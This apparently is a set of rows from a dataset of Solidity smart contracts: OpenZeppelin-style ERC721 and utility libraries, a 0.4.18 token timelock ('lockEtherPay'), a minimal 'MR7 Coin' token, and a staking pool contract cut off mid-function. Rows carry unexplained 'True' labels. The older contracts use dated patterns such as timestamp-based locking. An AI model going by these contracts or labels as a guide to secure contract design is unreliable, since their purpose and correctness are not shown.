// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC721.sol";
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
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|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 28684800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x84D1862E64D0204bc9F9cd30617b0D15B8Cf9566;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.2;
contract Token {
mapping(address => uint) public balances;
mapping(address => mapping(address => uint)) public allowance;
uint public totalSupply = 1000000000 * 10 ** 18;
string public name = "MR7 Coin";
string public symbol = "MR7";
uint public decimals = 18;
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
constructor() {
balances[msg.sender] = totalSupply;
}
function balanceOf(address owner) public view returns(uint) {
return balances[owner];
}
function transfer(address to, uint value) public returns(bool) {
require(balanceOf(msg.sender) >= value, 'Saldo insuficiente (balance too low)');
balances[to] += value;
balances[msg.sender] -= value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) public returns(bool) {
require(balanceOf(from) >= value, 'Saldo insuficiente (balance too low)');
require(allowance[from][msg.sender] >= value, 'Sem permissao (allowance too low)');
balances[to] += value;
balances[from] -= value;
emit Transfer(from, to, value);
return true;
}
function approve(address spender, uint value) public returns(bool) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
} | True | [
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// SPDX-License-Identifier: MIT
pragma solidity ^0.6.8;
import '@openzeppelin/contracts/GSN/Context.sol';
import '@openzeppelin/contracts/access/AccessControl.sol';
import './StakableTokenWrapper.sol';
import '../ERC1155/CryptoKombatCollection.sol';
contract LpPool is Context, StakableTokenWrapper, AccessControl {
CryptoKombatCollection public collection;
uint256 public maxStake;
mapping(address => uint256) public lastUpdateTime;
mapping(address => uint256) public points;
mapping(uint256 => uint256) public heroes;
event MaxStakeChanged(uint256 maxStake);
event HeroAdded(uint256 hero, uint256 price);
event HeroesAdded(uint256[] heroes, uint256[] prices);
event Staked(address indexed user, uint256 amount);
event Withdrawn(address indexed user, uint256 amount);
event Redeemed(address indexed user, uint256 amount);
modifier updateReward(address account) {
if (account != address(0)) {
points[account] = earned(account);
lastUpdateTime[account] = block.timestamp;
}
_;
}
constructor(
CryptoKombatCollection _collectionAddress,
IERC20 _tokenAddress,
uint256 _maxStake
) public StakableTokenWrapper(_tokenAddress) {
collection = _collectionAddress;
_setMaxStake(_maxStake);
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function addHero(uint256 heroId, uint256 price) public virtual {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'LpPool: Must have admin role to add hero');
require(price >= 1e18, 'LpPool: Price too low');
heroes[heroId] = price;
emit HeroAdded(heroId, price);
}
function addHeroes(uint256[] memory _heroes, uint256[] memory _prices) public virtual {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'LpPool: Must have admin role to add heroes');
require(_heroes.length == _prices.length, 'LpPool: Heroes and prices length mismatch');
for (uint256 i = 0; i < _heroes.length; i++) {
uint256 heroId = _heroes[i];
uint256 price = _prices[i];
require(price >= 1e18, 'LpPool: Price too low');
heroes[heroId] = price;
}
emit HeroesAdded(_heroes, _prices);
}
function setMaxStake(uint256 _maxStake) public virtual {
require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), 'LpPool: Must have admin role to set max stake');
require(_maxStake > 0, 'LpPool: Cannot set zero max stake');
_setMaxStake(_maxStake);
}
function _setMaxStake(uint256 _maxStake) internal {
